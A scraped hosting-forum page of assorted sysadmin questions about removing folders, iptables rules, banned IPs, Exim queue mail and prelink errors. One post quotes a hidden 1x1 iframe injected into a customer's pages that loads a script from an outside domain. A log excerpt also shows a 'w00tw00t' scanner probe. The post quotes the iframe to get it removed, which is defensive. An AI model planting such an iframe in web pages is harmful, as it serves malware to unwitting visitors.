Remove Empty Folders And Remove From A Db
ive got a site which auto creates subdomains and installs a script automaticly and inserts details into a mysql db. i have had some issues recent so have loads (talking 100s) of folders that are empty which i need to remove, and to remove the details of said folder from db also. any ideas how i can do this, using plesk control panel so removing the subdomain via plesk cli may be the best way in that respect but the db is external to plesk so that would not be edited
View Complete Thread with Replies
Sponsored Links:
Related Forum Messages:
Cron/ssh To Remove Folders Older Than X Days
I'm trying to write a cron/ssh to remove recursive folders in a "data" folder that is older than X days. I've been able to remove files, but not folders. This is the code I have so far, but if someone can point out how to remove folders older than X days, that'd be great ........
View Replies!
View Related
Remove Xen Xps
I have setup a xen VPS some time back. I need to remove it permanently. I have used the commands virsh destroy <domainID> as well as xm destroy <domainID>. However they only performs a shutdown. I can restore it back! I want to remove / wipe it permanently and memory consumed is given up then and reflected in the core server.
View Replies!
View Related
Remove History Command
Is there any way so that i can remove a specific command from history. 628 ll 629 cat bash.sh 630 man mail 631 exit 632 history You see my history command displays output as this. I need to remove the 630 th command. Is this possible ? I can use history -r but, it will remove all the commands executed in the session. I need a command to remove a specific thing from history.
View Replies!
View Related
Yum Remove Command
I had some issues with PHP compilation seems to be issue with zlib. So I decided to remove it. What happened then is something like nightmare... The command yum remove zlib removed zlib + all dependencies without asking me what to remove. So it removed majority of packages including yum itself. How can I force yum to not remove dependencies when I uninstall some package?
View Replies!
View Related
Remove CPanel Garbage....
I hate cpanl. It's bloated, slow, and just twice as hard to do anything(over command line). Anyways, how can I turn this crap off...it seems like ever time I reboot something comes back and changes conf files(installs older version of programs) and stuff like that. I've shut off any cpanel stuff I can find in the services startup and removed all crons but is there anything else? I get emails like cpsrvd failed @ Fri Jun 22 10:25:38 2007. A restart was attempted automagicly.
View Replies!
View Related
Is Logwatch Important? Can I Remove It
I'm running out of disk space on /var and it seem /var/cache/logwatch has almost 4GB of space. Can I remove everything inside and uninstall logwatch? How do I remove logwatch from the system and any affect of the system functionality. DirectAdmin CentOS4.4
View Replies!
View Related
How To Use .htaccess To Remove Subdirectory...
Is it possible to use .htaccss to remove the subdirectory from a url? The reason I ask it that the script I want to use requires members to be in a /users/ directory, and I would like to remove that part of the url. For instance... can I use .htaccess to change www.thewebsite.com/users/username to www.thewebsite.com/username I have absolutely no need to access the /users/ directory without the username, it's just that all accounts are created in that directory. Is it possible?
View Replies!
View Related
Flushing Iptables/remove Rules
I have a VPS (Virtuozzo) with cPanel installed. I notice that iptables running in the VPS had many DROP rules when I listed using iptables -nL command. So I flushed iptabled using "iptables -F" command and also "> /etc/sysconfig/iptables" command and restarted iptabled. When I try to list the rules it would show empty. However when I try to list after a few minutes it is showing the same old rules with many DROP rules yet again! Is there anyway to remove the rules completely?
View Replies!
View Related
How Do I Remove My ISP IP From Email And Only Use My Server IP
The way Exim is setup on Cpanel/Centos is that it adds the origination IP and server IP address that the email is relayed through. Because many RBL's flag Verizon and Comcast ISP IP's as spam sources; it causes my email relayed through my server to be rejected. Note: My server IP is not on any RBL for spam or abuse. Is there a way to edit Exim to only use the server IP adddress that I relay through?
View Replies!
View Related
Remove Server MySQL Connection
I bought a VPS to run a part of a application I have and it needs to connect to my database in cpanel. I have set everything up properly and allowed the remote server to connect to my server, I updated the DB connect file with the correct mysql server username and password. But when I try and run the script I get this error. Quote: Client does not support authentication protocol requested by server; consider upgrading MySQL client in I'm not 100% sure what to do. I don't understand why it wouldn't work because it works perfectly on the main server with my scripts. But I get that error message on the remote server.
View Replies!
View Related
Remove Linux And Install Windows XP
I need to remove CentOS from an old office PC. Dont get me wrong I use Linux almost on everything but for specific reason I need to get XP back into this old AMD PC. I cannot install XP. I cannot remove Linux. This install is devil. It will not let me remove it. I tried everything. XP disk goes black screen and stays there, this is happens with some hardware and you have to remove all Linux partitions to me the Windows XP disk install start. The problem I CANT remove it. I go to rescue mode, or interactive, mode, it doesnt matter, I cannot remove linux. "fisk -l" Go to my partition fdisk /dev/sda2 d for delete and it just outputs: No partition is defined yet! I tried lots of ways around it and always that message. Linux doesnt let me remove the partitions. How in the world do I get XP back now?
View Replies!
View Related
Batch Remove Files And Copy
to move the httpdocs folders of multiple sites on my plesk server to another server (share on other serv is already mounted so thats not an issue) but their is 31 different domains i need to copy. wondering if anyone knows any way to batch automate a cp process to copy each domains files to a new folder on remote server (this is for backup purposes not live sites so i cant use plesk migration etc
View Replies!
View Related
Can't Remove The Ip Blocked By APF Antidos
APF Antidos blacklisted a number of ips that seem to be okay to me I have tried to delete them with /etc/apf/apf -l , /etc/apf/apf --unban xxx.xx.., and even iptables --flush no avail ! Where does apf store its ip rules. I guess that is /etc/apf/.ipt.chains but not found .. looks like there was no command line option allowing to remove IPs from apf backlist
View Replies!
View Related
RewriteRule: Remove Www From All Url
on my server I'm trying to remove 'www' from all subdomain urls. For example: [url]-> should be -> [url] [url]-> [url]... what rewrite rules to use? I suppose I've to put this rule in httpd.conf and apply it at Server level. I'm using this RewriteEngine on RewriteCond %{HTTP_HOST} ^www.([^.]+).example.com RewriteRule (.*) [url] where %1 is one subdomain. The problem is I want this to work on ALL Subdomains. What rewrite rule should I use?
View Replies!
View Related
How To Remove Apache File Not Exist Errors
How to Remove Apache File Not Exist Errors Here is the Reply of the Sys Admin Dear Customer, I am sorry. We are not able to resolve the File Does Not Exist errors for you. You have to do it own. The unique errors that you have today for Apache are as follows: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind File does not exist: /usr/local/apache/htdocs File does not exist: /usr/local/apache/htdocs/501.shtml File does not exist: /usr/local/apache/htdocs/images, referer: [url] File does not exist: /usr/local/apache/htdocs/jailbreak-iphone-3-0-1-with-redsn0w File does not exist: /usr/local/apache/htdocs/robots.txt Invalid method in request x16x03x01 Invalid method in request x80bx01x03x01 # Invalid URI in request alt="Follow%20via%20FreiendFFeed"%20title="Follow%20via%20FriendFeed"%20border="0"%20height="16"%20width="16"%20/>Home Top%20StuffiPhoneWindows%207FirefoxVistaTipsWordpressSubscribeSitemapAdvertise xc2xa0xc2xa0xc2xa0Vertical1240899%20=%20false;ShowAdHereBanner1240899%20=%20true;RepeatAll1240899%20=%20false;NoFollowAll1240899%20=%20false;Ban nerStyles1240899%20=%20new%20Array(%20%20%20%20"a{display:block;font-size:11px;color: HTTP/1.1 PHP Fatal error: Call to a member function get() on a non-object in /home/technob2/public_html/wp-includes/cache.php on line 93 PHP Fatal error: Call to a member function get() on a non-object in /home/technob2/public_html/wp-includes/cache.php on line 93, referer: [url] PHP Fatal error: Call to a member function get() on a non-object in /home/technob2/public_html/wp-includes/cache.php on line 93, referer: [url] PHP Fatal error: Call to a member function get() on a non-object in /home/technob2/public_html/wp-includes/cache.php on line 93, referer: [url] PHP Fatal error: Call to a member function get() on a non-object in /home/technob2/public_html/wp-includes/cache.php on line 93, referer: [url] request failed: error reading the headers I would advise that you resolve as many of these errors as you are able. As to what caused the load on your server, I can't say. There is nothing in your logs to indicate the source of the problem. During the 1PM period when your server overloaded last there were only 29 errors in Apache. The errors that occurred during this time would not cause excessive load. I have installed a script to monitor your server. If this load issue occurs again within one week or before your next reboot, whichever comes first, we should be able to determine the source from the script's logs in /var/log/sys-snap.sh.
View Replies!
View Related
How Could I Remove Infection Code From A Customer 's Websites
It seems that one of my customers (with a reseller account) has infected their websites and have lines like this inserted inside their web pages HTML Code: <iframe src="http://yxbegan.com/ind.php" width="1" height="1" alt="Uw8bLlKjsi3HqXs"></iframe> how to scan my hardrive and delete those lines or isolate the infected files? My server runs CentOS Linux + Directadmin.
View Replies!
View Related
How Does One Fix Or Otherwise Remove Prelinking Errors On CentOS 5
We regular see the following errors in our CentOS 5 64-bit and 32-bit (the 32-bit has less errors, but all the same - dealing with prelinking): prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/sbin/lsof: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/addr2line: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/ar: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/as: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/c++filt: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/gprof: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/ld: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/nm: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/objcopy: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/objdump: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/ranlib: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/readelf: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/size: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/strings: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/strip: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /sbin/chkconfig: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/sbin/alternatives: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/basename: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/cat: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/chgrp: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/chmod: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/chown: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/cp: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/cut: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/date: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/dd: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/df: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/echo: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/env: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/false: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/link: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/ln: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/ls: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/mkdir: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/mknod: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/mv: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/nice: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/pwd: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/rm: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/rmdir: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/sleep: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/sort: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/stty: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/sync: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/touch: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/true: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/uname: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /bin/unlink: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /sbin/runuser: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/[: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/base64: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/chcon: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/cksum: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/comm: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/csplit: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/dir: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/dircolors: at least one of file's dependencies has changed since prelinking prelink: /lib64/libc-2.5.so has a dependency cycle prelink: /usr/bin/dirname: at least one of file's dependencies has changed since prelinking How can we fix these errors or otherwise remove them?
View Replies!
View Related
SSH Tricks In Exim To Remove Email Queue
[1] Removing Bad Mail for i in `exiqgrep -i -f nobody`; do exim -Mrm $i; done >> Removes Nobody Mail for i in `exiqgrep -i -o 259200`; do exim -Mrm $i; done >> Removes Mail Older than 3 Days for i in `exiqgrep -i -f "^<>$"`; do exim -Mrm $i; done >> Removes Mail with Weird Characters (Spam) [2] Delete Mail by a Domain for i in `exiqgrep -i -f domain.com`; do exim -Mrm $i; done [3] Delete Mail for a Domain for i in `exiqgrep -i -r domain.com`; do exim -Mrm $i; done [4] Remove Whole Mail Queue for i in `exiqgrep -i -f `; do exim -Mrm $i; done [5] Run Mail Queue runq -qqff&
View Replies!
View Related
|